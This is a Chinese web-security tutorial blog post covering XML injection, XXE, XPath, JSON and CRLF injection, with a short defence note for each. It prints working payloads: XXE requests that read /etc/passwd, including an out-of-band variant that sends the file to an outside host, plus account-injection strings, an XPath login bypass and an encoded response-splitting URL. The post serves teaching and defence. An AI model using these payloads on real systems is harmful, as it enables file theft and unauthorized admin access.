zoukankan      html  css  js  c++  java
  • WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入

    零、前言

      最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

    一、XML注入:

      1、本质:

      XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

      2、举例说明: 

     1 """
     2 原始组织数据如下:
     3 <USER role="guest">
     4 <name>user1</name>
     5 <password>uesr1</password>
     6 <email>user1@test.com</email>
     7 </USER>
     8 用户本应提交的数据是user1 , user1 ,user1@test.com
     9 如果用户提交的数据是
    10 POST下
    11 name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
    12 就会导致生成一个新的管理员账户attack
    13 """
     1 /*
     2 (1)有回显,直接读取文件
     3 */
     4 <?php 
     5     $xml=$GET['XML'];
     6     $data = simplexml_load_string($xml);
     7     print_r($data);
     8 >
     9 /*
    10 攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
    11 */
    12 /*
    13 (2)引用远程server上的XML文件 读取文件
    14 */
    15 /*#1.xml:
    16 <!ENTITY % a SYSTEM "file:///etc/passwd">
    17 <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
    18 #payload
    19 <?xml version="1.0" encoding="utf-8">
    20 <!DOCTYPE root [
    21 <!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
    22 %remote;]>
    23 */
     1 <!--原始XML为:-->
     2 <?xml version="1.0" encoding="UTF-8"?>
     3 <adminuser>
     4 <admin id="1">
     5 <name>admin</name>
     6 <password>admin</passsword>
     7 </admin>
     8 </adminuser>
     9 <!--
    10 例如攻击者可以修改password部分,则可以如下构造:
    11 输入:
    12 <admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
    13 那么XML文件则会变成:
    14 -->
    15 <?xml version="1.0" encoding="UTF-8"?>
    16 <adminuser>
    17 <admin id="1">
    18 <name>admin</name>
    19 <password>admin</passsword>
    20 </admin>
    21 <admin id="2">
    22 <name>test</name>
    23 <password>test</passsword>
    24 </admin>
    25 </adminuser>
    26 <!--
    27 增加了一个管理员权限账号。
    28 -->

      3、危害:

        #常见攻击手段包括:

        #读取本地文件(可能包含敏感信息 /etc/shadow)

        #内存侵犯

        #任意代码执行

        #拒绝服务

      4、防御:   

        #对有改变XML结构的特殊输入进行过滤或者编码
        #filter list = ["&","<",">","'".'"',"/"]
        #在XML保存和展示之前都需要

    二、Xpath注入:

      1、本质:

        #Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。

      2、举例:    

        一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
        例如:
          //USER [username/text()="admin" and password/text()="123456"]
        注入就是在引号内内容着手构造:
          例如password=> 111" or "2"="2

      3、防御:
        防御很简单,过滤特殊输入字符即可。

    三、Json注入:

      1、本质:

      @json也是传输数据的一种格式,增加一个用户的json结构如下:

      {"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456

      2、防御:

        过滤关键字即可。

    四、CRLF注入也叫HTTP响应截断:

      1、本质:

      也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。

      2、举例:假设数据部分是xss payload则会中招啊

     1 """
     2 (1)REQUEST-METHOD : GET
     3          URL : http://a.b.c.d/index.html?language=Chinense
     4          RESPONSE : 
     5               HTTP/1.1 302 Moved Temporarily GMT
    
     6               Date: ********
     7               Location:http://a.b.c.d/zhcn.html
     8               Server:******
     9               ******
    10 (2)REQUEST-METHOD : GET
    11          URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent-       Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
    12          实际上就是:
    13          Chinese
    14          Content-Length:0
    15 
    16          HTTP/1.1 200 OK
    17          Content-Type:text/html
    18          Content-Length:24
    19 
    20          <html>I'm hacker!</html>
    21 
    22          RESPONSE : 
    23               HTTP/1.1 302 Moved Temporarily GMT
    
    24               Date: ********
    25               Location:http://a.b.c.d/zhcn.html
    26               Content-Length:0
    27               
    28               HTTP/1.1 200 OK
    29               Content-Type:text/html
    30               Content-Length:24
    31              
    32               <html>I'm hacker!</html>
    33               Server:******
    34               ******
    35 
    36 37 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码.
    38 39 
    40 当然可以不加新的http响应头,直接注入
    (CRLF)和payload
    41 
    42 常见的容易出问题的PHP函数
    43 header()
    44 setcookie()
    45 session_id()
    46 setrawcookie()
    47 
    48 位置:
    49 location   -> 重定向到恶意地址
    50 set-cookie -> 把自己数据写入cookie
    51 """

      3、防御:

        限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出

  • 相关阅读:
    GC选择之CMS 并发标记清除
    JVM内存概览与GC初步
    Shell 判断语句
    SUID SGID
    maven package
    ACL权限控制列表
    账户与密码管理
    Ubuntu与Centos在登陆安全方面的比较
    【PL/SQL Developer】动态执行表不可访问,本会话的自动统计被禁止
    【Centos7】Delete virtual bridge
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8250700.html
Copyright © 2011-2022 走看看